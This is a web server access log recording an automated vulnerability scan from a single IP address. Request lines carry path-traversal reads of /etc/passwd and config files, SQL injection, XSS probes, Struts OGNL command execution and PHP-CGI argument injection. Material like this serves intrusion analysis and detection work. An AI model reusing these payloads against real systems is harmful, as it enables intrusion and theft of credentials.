[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_properties&controller=../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_orgchart&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_multimap&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_awdwall&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_ultimateportfolio&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_redshop&view=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_smestorage&controller=../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_blogfactory&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_market&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jwhmcs&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_datafeeds&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_onlineexam&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_graphics&controller=../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_drawroot&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_joomlaflickr&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_multiroot&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /common/download/resource?resource=/profile/../../../../Windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal/attachment_getAttList.action?bean.RecId=1')+AND+EXTRACTVALUE(534543,CONCAT(0x5c,md5(999999999),0x5c))+AND+('n72Yk'='n72Yk&bean.TabName=1 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /viewrq.php?format=ps&var_filename=../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lui/ HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_perchaimageattach&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_travelbook&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_arcadegames&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_fabrik&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_gadgetfactory&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_if_surfalert&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_perchagallery&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_beeheard&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_mscomment&controller=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_simpledownload&task=download&fileid=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_powermail&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_zimbcore&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_perchafieldsattach&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jequoteform&view=../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_myblog&Itemid=1&task=../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /images/logo/logo-eoffice.php HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_dioneformwizard&controller=../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/GetDevice HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_lovefactory&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_bfsurvey&controller=../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_picasa2gallery&controller=../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /propertyfinder/component/jesectionfinder/?view=../../../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /administrator/components/com_joomla-visites/core/include/myMailer.class.php?mosConfig_absolute_path=../../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_realtyna&controller=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_foobla_suggestions&controller=../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_picsell&controller=prevsell&task=dwnfree&dflink=../../../configuration.php HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_perchadownloadsattach&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jphone&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /component/music/album.html?cid=../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tiki-jsplugin.php?plugin=x&language=../../../../../../../../../../windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pandora_console/ajax.php?page=../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../../../../../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jradio&controller=../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jimtawl&Itemid=12&task=../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/controllers/default/resource/tvs.php?class_key=../../../../../../../../../../windows/win.ini%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jotloader&section=../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jejob&view=../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jstore&controller=./../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_canteen&controller=../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wp-custom-pages/wp-download.php?url=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src/search.php?mailbox=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&what=x&where=BODY&submit=Search HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/mj_wwwusr?passw&list=GLOBAL&user&func=help&extra=/../../../../../../../../etc/passwd HTTP/1.1" 199
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/flash-album-gallery/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?action=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00 HTTP/1.1" 3426
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /includes/lib/gz.php?file=/themes/../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/advanced-text-widget/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_kp&controller=../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/flexible-custom-post-type/edit-post.php?id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /snarf_ajax.php?url=1&ajax=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/clickdesk-live-support-chat/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login-x.php HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /orchard/Users/Account/LogOff?ReturnUrl=%2f%2fhttp://interact.sh%3f HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/featurific-for-wordpress/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal/displayAPSForm.action?debug=command&expression=3895*3071 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/adminimize/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/skysa-official/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/count-per-day/download.php?n=1&f=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?r=i/../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?class=../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /contrib/acog/print_form.php?formname=../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/all-in-one-event-calendar/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wp-facethumb/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /document.php?modulepart=project&file=../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /reports/rwservlet/showenv HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/2-click-socialmedia-buttons/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /devmode.action?debug=command&expression=(%23_memberAccess[%22allowStaticMethodAccess%22]%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D%23foo%2C@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%27cat%20/etc/passwd%27).getInputStream())) HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /awstats/awredir.pl?url=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/download-monitor/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /learn/cubemail/filemanagement.php?action=dl&f=../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /controlcenter.php?opt=contents/Files&dir=%2Fetc&ffile=passwd&opmod=open HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/safedog()+KdCfEdkvYA.log HTTP/1.1" 3426
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tiki-featured_link.php?type=f&url=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/mf-gig-calendar/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fw/syslogViewer.do?port=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/login?a=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wp-integrator/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-content/plugins/age-verification/age-verification.php HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /user.action HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?h=44ea8a6603cbf54e245f37b4ddaf8f36&page=vlf&action=edit&fileName=..\\..\\..\\windows\\win.ini HTTP/1.1" 3426
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.action?redirect:http://www.interact.sh/ HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /telaen/redir.php?https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/trafficanalyzer/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/uploader/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/category-grid-view-gallery/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //costModule/faces/javax.faces.resource/web.xml?loc=../WEB-INF HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/duplicator/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hub/ HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ccmadmin/bulkvivewfilecontents.do?filetype=samplefile&fileName=../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00 HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web_shell_cmd.gch HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /photoalbum/index.php?urlancien&url=../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Portal/Portal.mwsl?PriNav=Bgz&filtername=Name&filtervalue=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&Send=Filter HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/webproc?getpage=/etc/passwd&var:page=deviceinfo HTTP/1.1" 199
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/dhtmlxspreadsheet/codebase/spreadsheet.php?page=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //dompdf.php?input_file=php://filter/resource=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/advanced-dewplayer/admin-panel/download-file.php?dew_file=../../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
